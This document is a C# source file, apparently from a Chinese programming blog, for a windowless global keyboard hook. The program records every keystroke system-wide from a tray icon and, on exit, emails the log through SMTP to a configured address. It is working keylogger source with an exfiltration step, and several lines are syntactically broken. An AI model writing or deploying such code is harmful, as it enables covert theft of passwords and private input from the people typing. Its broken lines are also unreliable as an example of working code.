c# 全域性鍵盤鉤子(無窗體)
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Net.Mail;
namespace noformtest
{
static class Program
{
/// <summary>
/// 應用程式的主入口點。
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
System.Resources.ResourceManager resources = new System.Resources.ResourceManager("noformtest.Properties.Resources", System.Reflection.Assembly.GetExecutingAssembly());
MyHook myhook1 = new MyHook();
myhook1.HookStart();
NotifyIcon ni = new NotifyIcon();
ContextMenuStrip cs = new System.Windows.Forms.ContextMenuStrip();
ni.Icon = ((System.Drawing.Icon)(resources.GetObject("_1")));
ni.BalloonTipIcon = System.Windows.Forms.ToolTipIcon.Warning;
ni.BalloonTipText = "小鉤子";
ni.BalloonTipTitle = "嘎嘎";
ni.Visible = true;
ni.Text = "鍵盤鉤子";
ni.ContextMenuStrip = cs;
ToolStripMenuItem ExitToolStripMenuItem= new ToolStripMenuItem();
cs.Items.AddRange(
new System.Windows.Forms.ToolStripItem[] {
ExitToolStripMenuItem }
);
cs.Name = "cs";
cs.Size = new System.Drawing.Size(95, 48);
ExitToolStripMenuItem.Name = "ExitToolStripMenuItem";
ExitToolStripMenuItem.Size = new System.Drawing.Size(94, 22);
ExitToolStripMenuItem.Text = "退出";
ExitToolStripMenuItem.Click += delegate(object sender, EventArgs e)
{
ni.Visible = false;
//myhook1.saveTofile();//儲存到本地檔案
//傳送到指定郵箱(stmp)
EMail email = new EMail("發件人地址", 收件人地址","STMP郵件伺服器地址", "使用者名稱", "密碼", myhook1.strall);
email.sendmail();
myhook1.HookStop();
Application.Exit();
};
ni.MouseClick += delegate(object sender, MouseEventArgs e)
{
if( e.Button== MouseButtons.Left)
ni.ShowBalloonTip(5);
};
Application.Run();
}
public partial class MyHook {
ProcessModule curModule;
//宣告委託
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
public string strall;
HookProc KeyboardHookProcedure;
static int hKeyboardHook = 0;
const int WM_KEYDOWN = 0x0100;
const int WM_SYSKEYDOWN = 0x0104;
//定義變數
internal enum HookType //列舉,鉤子的型別
{
//MsgFilter = -1,
//JournalRecord = 0,
//JournalPlayback = 1,
Keyboard = 13,
//GetMessage = 3,
//CallWndProc = 4,
//CBT = 5,
//SysMsgFilter = 6,
//Mouse = 7,
//Hardware = 8,
//Debug = 9,
//Shell = 10,
//ForegroundIdle = 11,
//CallWndProcRet = 12,
//KeyboardLL = 13,
//MouseLL = 14,
};
//鍵盤結構
public struct KeyMSG
{
public int vkCode; //鍵值
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
// 安裝鉤子 (using System.Runtime.InteropServices;)
[DllImport("user32.dll", EntryPoint = "SetWindowsHookExA")]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
// 解除安裝鉤子
[DllImport("user32.dll")]
public static extern bool UnhookWindowsHookEx(int idHook);
// 繼續下一個鉤子
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32.dll")]
public static extern int GetKeyNameText(Int32 wParam);
// 取得當前執行緒編號(執行緒鉤子需要用到)
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string name);
// 安裝鉤子
public void HookStart()
{
if (hKeyboardHook == 0)
{
// 建立HookProc例項
KeyboardHookProcedure = new HookProc(KeyboardHookProc);
// 設定執行緒鉤子
using (Process curProcess = Process.GetCurrentProcess())
curModule = curProcess.MainModule;
hKeyboardHook = SetWindowsHookEx(13, KeyboardHookProcedure, Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()[0]), 0);
hKeyboardHook = SetWindowsHookEx((int)HookType.Keyboard, KeyboardHookProcedure, GetModuleHandle(curModule.ModuleName), 0);
//************************************
//鍵盤執行緒鉤子
//SetWindowsHookEx( 13,KeyboardHookProcedure, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()為要監視的執行緒ID,你完全可以自己寫個方法獲取QQ的執行緒哦
//鍵盤全域性鉤子,需要引用空間(using System.Reflection;)
//SetWindowsHookEx( 13,KeyboardHookProcedure,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0);
//
//關於SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函式將鉤子加入到鉤子連結串列中,說明一下四個引數:
//idHook 鉤子型別,即確定鉤子監聽何種訊息,上面的程式碼中設為2,即監聽鍵盤訊息並且是執行緒鉤子,如果是全域性鉤子監聽鍵盤訊息應設為13,
//執行緒鉤子監聽滑鼠訊息設為7,全域性鉤子監聽滑鼠訊息設為14。
//
//lpfn 鉤子子程的地址指標。如果dwThreadId引數為0 或是一個由別的程序建立的執行緒的標識,lpfn必須指向DLL中的鉤子子程。 除此以外,lpfn可
//以指向當前程序的一段鉤子子程程式碼。鉤子函式的入口地址,當鉤子鉤到任何訊息後便呼叫這個函式。
//
//hInstance應用程式例項的控制代碼。標識包含lpfn所指的子程的DLL。如果threadId 標識當前程序建立的一個執行緒,而且子程程式碼位於當前
//程序,hInstance必須為NULL。可以很簡單的設定其為本應用程式的例項控制代碼。
//
//threadedId 與安裝的鉤子子程相關聯的執行緒的識別符號。如果為0,鉤子子程與所有的執行緒關聯,即為全域性鉤子。
//************************************
// 如果設定鉤子失敗
if (hKeyboardHook == 0)
{
HookStop();
throw new Exception("SetWindowsHookEx failed.");
}
}
}
// 解除安裝鉤子
public void HookStop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
if (!(retKeyboard))
throw new Exception("UnhookWindowsHookEx failed.");
}
//鉤子子程:就是鉤子所要做的事情
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (nCode >= 0 && (wParam == (Int32)WM_KEYDOWN || wParam == (Int32)WM_SYSKEYDOWN))
{
KeyMSG m = (KeyMSG)Marshal.PtrToStructure(lParam, typeof(KeyMSG));//鍵盤
strall += this.MyGetKeyNameText(m.vkCode);
return 0;//如果返回1,則結束訊息,這個訊息到此為止,不再傳遞。如果返回0或呼叫CallNextHookEx函式則訊息出了這個鉤子繼續往下傳遞,也就是傳給訊息真正的接受者
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//虛鍵碼錶
string MyGetKeyNameText(Int32 wParam)
{
string str = null;
switch (wParam)
{
case 0x8:
str = "(BACKSPACE)";
break;
case 0x9:
str = "(TAB)";
break;
case 0xC:
str = "(CLEAR)";
break;
case 0xD:
str = "(ENTER)";
break;
case 160:
str = "(SHIFT)";
break;
case 161:
str = "(SHIFT)";
break;
case 162:
str = "(CTRL)";
break;
case 163:
str = "(CTRL)";
break;
case 0x12:
str = "(MENU)";
break;
case 0x13:
str = "(PAUSE)";
break;
case 0x14:
str = "(CAPSLOCK)";
break;
case 0x1B:
str = "(ESC)";
break;
case 0x20:
str = "(SPACEBAR)";
break;
case 0x21:
str = "(PAGE)";
break;
case 0x22:
str = "(PAGEDOWN)";
break;
case 0x23:
str = "(END)";
break;
case 0x24:
str = "(HOME)";
break;
case 0x25:
str = "(LEFTARROW)";
break;
case 0x26:
str = "(UPARROW)";
break;
case 0x27:
str = "(RIGHTARROW)";
break;
case 0x28:
str = "(DOWNARROW)";
break;
case 0x29:
str = "(Select)";
break;
case 0x2A:
str = "(PRINTSCREEN)";
break;
case 0x2B:
str = "(EXECUTE)";
break;
case 0x2C:
str = "(SNAPSHOT)";
break;
case 0x2D:
str = "(Insert)";
break;
case 0x2E:
str = "(Delete)";
break;
case 0x2F:
str = "(HELP)";
break;
case 0x90:
str = "(NUMLOCK)";
break;
case 0x60:
str = "0"; break;
case 0x61:
str = "1"; break;
case 0x62:
str = "2"; break;
case 0x63:
str = "3"; break;
case 0x64:
str = "4"; break;
case 0x65:
str = "5"; break;
case 0x66:
str = "6"; break;
case 0x67:
str = "7"; break;
case 0x68:
str = "8"; break;
case 0x69:
str = "9"; break;
case 0x6A:
str = "(*)"; break;
case 0x6B:
str = "(+)"; break;
case 0x6C:
str = "(ENTER)"; break;
case 0x6D:
str = "(–)"; break;
case 0x6E:
str = "(.)"; break;
case 0x6F:
str = "(/)"; break;
case 0x70:
str = "(F1)";
break;
case 0x71:
str = "(F2)";
break;
case 0x72:
str = "(F3)";
break;
case 0x73:
str = "(F4)";
break;
case 0x74:
str = "(F5)";
break;
case 0x75:
str = "(F6)";
break;
case 0x76:
str = "(F7)";
break;
case 0x77:
str = "(F8)";
break;
case 0x78:
str = "(F9)";
break;
case 0x79:
str = "(F10)";
break;
case 0x7A:
str = "(F11)";
break;
case 0x7B:
str = "(F12)";
break;
case 186:
str = ";:";
break;
case 187:
str = "= +";
break;
case 188:
str = "(<,)";
break;
str = "(;:)";
break;
case 189:
str = "(-_)";
break;
case 190:
str = "(>.)";
break;
case 191:
str = "(/?)";
break;
case 192:
str = "(`~)";
break;
case 219:
str = "([{)";
break;
case 220:
str = "(//|)";
break;
case 221:
str = "(]})";
break;
case 222:
str = "('/")";
break;
default:
str = Chr(wParam);
break;
}
return str;
}
public static string Chr(int asciiCode)
{
if (asciiCode >= 65 && asciiCode <= 90)
{
asciiCode = asciiCode + 32;
}
System.Text.ASCIIEncoding asciiEncoding = new System.Text.ASCIIEncoding();
byte[] byteArray = new byte[] { (byte)asciiCode };
string strCharacter = asciiEncoding.GetString(byteArray);
return (strCharacter);
}
public void saveTofile()
{
System.IO.StreamWriter rw = System.IO.File.CreateText("myText.txt");
rw.WriteLine(strall);
rw.Flush();
rw.Close();
}
}
public class EMail{
public EMail(string mailfrom,string mailto,string serverAD,string username,string pw,string str ) {
this.mailfrom = new MailAddress(mailfrom);
this.mailto = new MailAddress(mailto) ;
this.serverAD = serverAD;
this.username = username;
this.pw = pw;
this.str = str;
}
private MailAddress mailfrom;
private string username;
private string pw;
private string serverAD;
private MailAddress mailto;
private string str;
public void sendmail() {
MailMessage message = new MailMessage(mailfrom, mailto);
message.Subject = "keyHook";
message.Body = str;
message.BodyEncoding = System.Text.Encoding.Default;
SmtpClient client = new SmtpClient(serverAD);
client.DeliveryMethod = SmtpDeliveryMethod.Network;
client.UseDefaultCredentials = false;
client.EnableSsl = false;
//身份認證
client.Credentials = new System.Net.NetworkCredential(username, pw);
try
{
client.Send(message);
}
catch (SmtpException ex)
{
MessageBox.Show(ex.Message);
}
catch (Exception ex2)
{
MessageBox.Show(ex2.Message);
}
}
}
}
}